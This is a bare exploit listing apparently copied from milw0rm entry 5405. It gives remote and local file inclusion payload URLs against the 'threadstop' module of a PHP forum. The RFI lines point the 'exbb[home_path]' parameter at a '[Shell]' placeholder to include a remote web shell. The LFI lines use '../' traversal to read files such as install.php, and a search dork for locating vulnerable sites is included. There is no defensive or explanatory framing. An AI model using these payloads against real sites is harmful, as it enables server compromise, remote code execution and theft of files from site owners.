http://milw0rm.com/exploits/5405
RFI
/modules/threadstop/threadstop.php?exbb[home_path]=[Shell]Dork : "threadstop"
/modules/threadstop/threadstop.php?new_exbb[home_path]=[Shell]
LFI
/modules/threadstop/threadstop.php?exbb[default_lang]=../../../../../../[File]
/modules/threadstop/threadstop.php?exbb[default_lang]=../../../../../install.php